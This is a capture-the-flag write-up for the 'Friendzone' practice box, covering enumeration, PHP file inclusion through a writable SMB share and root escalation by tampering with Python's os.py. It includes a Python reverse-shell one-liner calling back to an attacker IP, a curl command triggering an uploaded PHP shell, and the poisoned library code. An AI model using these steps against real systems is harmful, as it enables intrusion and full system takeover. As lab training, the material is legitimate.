Friendzone

This is a Linux box from the TJ Null list.

It was an absolute pain in the ass with all the misdirections and rabbit holes. Yes the exploitation was straightforward but you had to figure out what to exploit first. It's definitely one of those boxes that test your methodology and endurance.

Scope

Our target is 10.10.10.123. We can expect it to be a Linux machine.

Enumeration

I like to run rustscan as the first point of call as it usually finds ports a lot faster than a full nmap, and lets us prioritise early on.

rustscan -a 10.10.10.123

We glean the following information:

  • Appears to be running web servers on ports 80 and 443.
  • Some NetBIOS/SMB running on 139 and 445 (quite interesting).
  • FTP on 21.
  • DNS (TCP at that), which is very interesting.
    • Reminder: To check 53/UDP if we end up getting stuck.
  • SSH can get fucked.
PORT    STATE SERVICE      REASON
21/tcp  open  ftp          syn-ack
22/tcp  open  ssh          syn-ack
53/tcp  open  domain       syn-ack
80/tcp  open  http         syn-ack
139/tcp open  netbios-ssn  syn-ack
443/tcp open  https        syn-ack
445/tcp open  microsoft-ds syn-ack

I decide to run a deeper scan specifically on these ports before investigating, just so we get some version info and script output.

sudo nmap -sS -A -p21,22,53,80,139,443,445 -Pn -T4 10.10.10.123 -oA friendzone
PORT    STATE SERVICE     VERSION
21/tcp  open  ftp         vsftpd 3.0.3
22/tcp  open  ssh         OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 a9:68:24:bc:97:1f:1e:54:a5:80:45:e7:4c:d9:aa:a0 (RSA)
|   256 e5:44:01:46:ee:7a:bb:7c:e9:1a:cb:14:99:9e:2b:8e (ECDSA)
|_  256 00:4e:1a:4f:33:e8:a0:de:86:a6:e4:2a:5f:84:61:2b (ED25519)
53/tcp  open  domain      ISC BIND 9.11.3-1ubuntu1.2 (Ubuntu Linux)
| dns-nsid:
|_  bind.version: 9.11.3-1ubuntu1.2-Ubuntu
80/tcp  open  http        Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Friend Zone Escape software
139/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
443/tcp open  ssl/http    Apache httpd 2.4.29
|_ssl-date: TLS randomness does not represent time
|_http-server-header: Apache/2.4.29 (Ubuntu)
| tls-alpn:
|_  http/1.1
| ssl-cert: Subject: commonName=friendzone.red/organizationName=CODERED/stateOrProvinceName=CODERED/countryName=JO
| Not valid before: 2018-10-05T21:02:30
|_Not valid after:  2018-11-04T21:02:30
|_http-title: 404 Not Found
445/tcp open  netbios-ssn Samba smbd 4.7.6-Ubuntu (workgroup: WORKGROUP)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 3.18 (96%), Linux 3.2 - 4.9 (96%), Linux 3.16 (95%), ASUS RT-N56U WAP (Linux 3.4) (95%), Linux 3.1 (93%), Linux 3.2 (93%), Linux 3.10 - 4.11 (93%), Linux 3.12 (93%), Linux 3.13 (93%), Linux 3.13 - 3.16 (93%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: Hosts: FRIENDZONE, 127.0.1.1; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
|_clock-skew: mean: -59m59s, deviation: 1h43m55s, median: 0s
| smb-os-discovery:
|   OS: Windows 6.1 (Samba 4.7.6-Ubuntu)
|   Computer name: friendzone
|   NetBIOS computer name: FRIENDZONE\x00
|   Domain name: \x00
|   FQDN: friendzone
|_  System time: 2024-03-29T21:26:18+03:00
| smb2-time:
|   date: 2024-03-29T18:26:18
|_  start_date: N/A
| smb2-security-mode:
|   3:1:1:
|_    Message signing enabled but not required
|_nbstat: NetBIOS name: FRIENDZONE, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| smb-security-mode:
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)

Vulnerability Analysis

That's quite a lot of enum to take in, so let's do a quick search for known vulnerabilities.

  • vsftpd 3.0.3
  • OpenSSH 7.6p1
    • Again, SSH can get fucked.
  • ISC BIND 9.11.3-1ubuntu1.2
    • A huge list of uninteresting and theoretical DoS/memory exploits.
  • Apache httpd 2.4.29
    • Nothing affecting this specific version.
  • Samba smbd 4.7.6-Ubuntu
    • Nothing.

Alright we came up with a whole lot of nothing. Let's start poking at the services.

FTP

Attempted to connect anonymously but no dice. Let's move on.

ftp 10.10.10.123
Connected to 10.10.10.123.
220 (vsFTPd 3.0.3)
Name (10.10.10.123:kali): anonymous
331 Please specify the password.
Password:
530 Login incorrect.
ftp: Login failed

SMB

We get more success with anonymous/null session to SMB:

smbclient -L '\\10.10.10.123\' -N
Sharename       Type      Comment
---------       ----      -------
print$          Disk      Printer Drivers
Files           Disk      FriendZone Samba Server Files /etc/Files
general         Disk      FriendZone Samba Server Files
Development     Disk      FriendZone Samba Server Files
IPC$            IPC       IPC Service (FriendZone server (Samba, Ubuntu))
Reconnecting with SMB1 for workgroup listing.

Server               Comment
---------            -------

Workgroup            Master
---------            -------
WORKGROUP            FRIENDZONE

I'll use smbmap to give us a prettier listing of the files in each share, and our permissions.

SMBmap Results

I'm pretty happy with the creds.txt so let's download it and take a look:

smbmap --no-banner -H 10.10.10.123 --download 'general\creds.txt'

This is the contents of the file:

creds for the admin THING:

admin:WORKWORKHhallelujah@#

Fantastic. Now what's the admin thing?

Websites

I tried spraying the creds we found against FTP and SMB. It's always worth doing this as soon as we get them since during CTFs/boxes it is incredibly easy to forget.

hydra -l admin -p 'WORKWORKHhallelujah@#' ssh://10.10.10.123 -u -f
hydra -l admin -p 'WORKWORKHhallelujah@#' ftp://10.10.10.123 -u -f

Alright we kind of skipped over the websites so let's go.

Friendzone HTTP Website

Friendzone HTTPS Website

Note that the HTTP (port 80) and HTTPS (port 443) websites have different content. Don't assume that they are the same. Both are static/404 so let's do some dirbusting.

Dirbusting

Things to note:

  • It's Apache so .php is more likely.
  • Need to dirbust both HTTP and HTTPS separately.
  • We haven't added a domain/hostname yet.
    • We found that the box is called friendzone.red.
    • If we get stuck we can do some VHOST/sub-domain brute-forcing.

Directories:

ffuf -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt:FUZZ -u http://10.10.10.123/FUZZ -recursion -recursion-depth 1 -e .php -v -ic
ffuf -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt:FUZZ -u https://10.10.10.123/FUZZ -recursion -recursion-depth 1 -e .php -v -ic

Didn't find much, so let's do files:

# HTTP
ffuf -w /usr/share/seclists/Discovery/Web-Content/raft-small-files.txt:FUZZ -u http://10.10.10.123/FUZZ -v -ic
# HTTPS
ffuf -w /usr/share/seclists/Discovery/Web-Content/raft-small-files.txt:FUZZ -u https://10.10.10.123/FUZZ -v -ic

On the HTTP site we have the following:

http://10.10.10.123/.
http://10.10.10.123/.htaccess
http://10.10.10.123/.htaccess.bak
http://10.10.10.123/.htgroup
http://10.10.10.123/.htm
http://10.10.10.123/.html
http://10.10.10.123/.htpasswd
http://10.10.10.123/.htpasswds
http://10.10.10.123/.htuser
http://10.10.10.123/.php
http://10.10.10.123/index.html
http://10.10.10.123/robots.txt
http://10.10.10.123/wp-forum.phps

Firstly, I don't like how this box is getting cheeky.

Accessing robots.txt

Everything else was a 403. Let's get VHOST/sub-domain busting.

VHOSTs and sub-domains

Added friendzone.red to /etc/hosts.

# HTTP
ffuf -w /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt -u http://friendzone.red -H "HOST: FUZZ.friendzone.red" -fs 324
# HTTPS
ffuf -w /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt -u https://friendzone.red -H "HOST: FUZZ.friendzone.red" -fs 324

We got one match: uploads.friendzone.red (HTTPS). Seems to have a file upload, unsurprisingly.

Getting stuck

Took another look at https://friendzone.red and was greeted with this:

Escaping Friendzone

The page source has the following:

<title>FriendZone escape software</title>

<br />
<br />

<center><h2>Ready to escape from friend zone !</h2></center>

<center><img src="e.gif" /></center>

<!-- Just doing some development here -->
<!-- /js/js -->
<!-- Don't go deep ;) -->

If we go to that URL we get this:

<p>Testing some functions !</p>
<p>I'am trying not to break things !</p>
THRRNW1kWkZtRzE3MTE3NDA1NjVORDQxdjkwYnNs<!-- dont stare too much , you will be smashed ! , it's all about times and zones ! -->

I got kind of stuck here since I couldn't figure out what that page was doing. I decided to go back to DNS and see if we can enum some records.

DNS

Conducted some zone transfers for zones under friendzone.red:

dig axfr friendzone.red @10.10.10.123

We found the following domains:

  • administrator1.friendzone.red
  • hr.friendzone.red
  • uploads.friendzone.red (kinda confirmed from VHOST enum)
  • friendzone.red

Let's add them to our /etc/hosts and take a look.

Administrator Portal

At https://administrator1.friendzone.red/ we find a login form for the application.

Administrator Login

We successfully login with admin:WORKWORKHhallelujah@# and are (manually) redirected to /dashboard.php.

The page expects us to enter an image_name presumably as a GET parameter so let's try that.

Smart Photo Script

The content was the same regardless, as I kept getting errors.

GET Parameters

Things I noticed:

  • XSS with the image_id parameter.
  • The pagename seems to load a page.
    • It implicitly adds .php to the end of the name.
    • The default timestamp value they give matches with https://administrator1.friendzone.red/timestamp.php.
    • Didn't have any luck with RFI, and couldn't get access to /etc/passwd through traversal sequences.

Exploiting LFI

Grabbing Sources

Using the PHP base64 filter we can grab the source of the pages, e.g.:

https://administrator1.friendzone.red/dashboard.php?image_id=a.jpg&pagename=php://filter/convert.base64-encode/resource=dashboard

Basically we get the base64-encoded page sources in the output of the page. Here is the output for some of the pages we have already found:

// dashboard.php
<?php
//echo "<center><h2>Smart photo script for friendzone corp !</h2></center>";
//echo "<center><h3>* Note : we are dealing with a beginner php developer and the application is not tested yet !</h3></center>";
echo "<title>FriendZone Admin !</title>";
$auth = $_COOKIE["FriendZoneAuth"];

if ($auth === "e7749d0f4b4da5d03e6e9196fd1d18f1"){
 echo "<br><br><br>";

echo "<center><h2>Smart photo script for friendzone corp !</h2></center>";
echo "<center><h3>* Note : we are dealing with a beginner php developer and the application is not tested yet !</h3></center>";

if(!isset($_GET["image_id"])){
  echo "<br><br>";
  echo "<center><p>image_name param is missed !</p></center>";
  echo "<center><p>please enter it to show the image</p></center>";
  echo "<center><p>default is image_id=a.jpg&pagename=timestamp</p></center>";
 }else{
 $image = $_GET["image_id"];
 echo "<center><img src='images/$image'></center>";

 echo "<center><h1>Something went worng ! , the script include wrong param !</h1></center>";
 include($_GET["pagename"].".php");
 //echo $_GET["pagename"];
 }
}else{
echo "<center><p>You can't see the content ! , please login !</center></p>";
}
?>
// timestamp.php
<?php
$time_final = time() + 3600;
echo "Final Access timestamp is $time_final";
?>

Revisiting SMB

None of that was very useful so I decided to revisit one of the SMB shares called Development. We had read-write access but there wasn't anything in that directory. I noticed that one of the other shares, Files, had a comment saying FriendZone Samba Server Files /etc/files. If all the shares were configured in the same way then we might expect Development to be located at /etc/Development.

I created the following simple POC and uploaded under Development\test.php:

<?php phpinfo(); ?>

LFI POC Success

Clearly we now have a way to get RCE and a shell on the box.

Reverse Shell

I used /usr/share/webshells/laudanum/php/php-reverse-shell.php and modified to my host and port. Then I uploaded to the Development share.

smbclient '\\10.10.10.123\Development' -N
# Try "help" to get a list of possible commands.
smb: \> put php-reverse-shell.php
# putting file php-reverse-shell.php as \php-reverse-shell.php (127.7 kb/s) (average 127.7 kb/s)
smb: \> exit

Then call by curling the URL:

curl -k -H "Cookie: FriendZoneAuth=e7749d0f4b4da5d03e6e9196fd1d18f1;" 'https://administrator1.friendzone.red/dashboard.php?image_id=a.jpg&pagename=/etc/Development/php-reverse-shell'

Finally, after all this time, we have a shell.

Got a shell!

User Flag

The user flag is located at: /home/friend/user.txt.

Host Enumeration

Alright we have a shell as www-data which is never good, and we don't have legitimate passwords either (except for the one for the app).

Shell Upgrade

python -c 'import pty; pty.spawn("/bin/bash")'

Server Admin

I normally look in /opt for non-default software and immediately we have a Python script with these perms: -rwxr--r-- 1 root root 424 Jan 16 2019 reporter.py.

#!/usr/bin/python
import os

to_address = "admin1@friendzone.com"
from_address = "admin2@friendzone.com"

print "[+] Trying to send email to %s"%to_address

#command = ''' mailsend -to admin2@friendzone.com -from admin1@friendzone.com -ssl -port 465 -auth -smtp smtp.gmail.co-sub scheduled results email +cc +bc -v -user you -pass "PAPAP"'''

#os.system(command)

# I need to edit the script later
# Sam ~ python developer

Not sure where this is being called yet. Let's keep digging.

I used pspy64 to take a look at the processes currently running, and notice that reporter.py is being executed by someone with a UID of 0... root.

pspy Results

Exploiting Python Script

Since the script imports os, I thought that if I added an os.py in the working directory then it would use that instead. So I created something like this:

# os.py
import os,pty,socket;s=socket.socket();s.connect(("10.10.14.33",443));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("sh")

Unfortunately I forgot the permissions on the /opt/server_admin directory: drwxr-xr-x 2 root root. If we can't place something there, then maybe we can poison the actual library.

We can locate it:

locate os.py
# /usr/lib/python2.7/os.py

Now let's check the perms:

ls -al /usr/lib/python2.7/os.py
# -rwxrwxrwx 1 root root 25910 Jan 15  2019 /usr/lib/python2.7/os.py

I edit the file and add the reverse shell from above, with some modifications (since we are already inside the os module, we omit the os from function calls).

import pty, socket
s=socket.socket()
s.connect(("10.10.14.33",443))
[dup2(s.fileno(),f) for f in(0,1,2)]
pty.spawn("sh")

At the same time I setup my nc to catch it, and wait.

Catching the Root Shell

Root Flag

We grab it from /root/root.txt.

Backtracking

In hindsight I missed a step since I should have had the creds of the friend user. I couldn't find anything else in their home directory, so I looked back at the /var/www files.

In fact in that directory I literally found their creds:

for development process this is the mysql creds for user friend

db_user=friend

db_pass=<REDACTED>

db_name=FZ

Even I can get careless.

Lessons Learnt

  • Follow through on all enumeration paths.
  • When you are faced with a vuln, research what is possible to do with it (PHP LFI).
  • Don't ignore results from scans/enums, especially if they are clearly vulnerable (read-write SMB Development share).
  • Don't rely on linpeas (but do use it) and use other tools to complement it (pspy).
  • Don't think that enumeration is over once you get RCE/shell.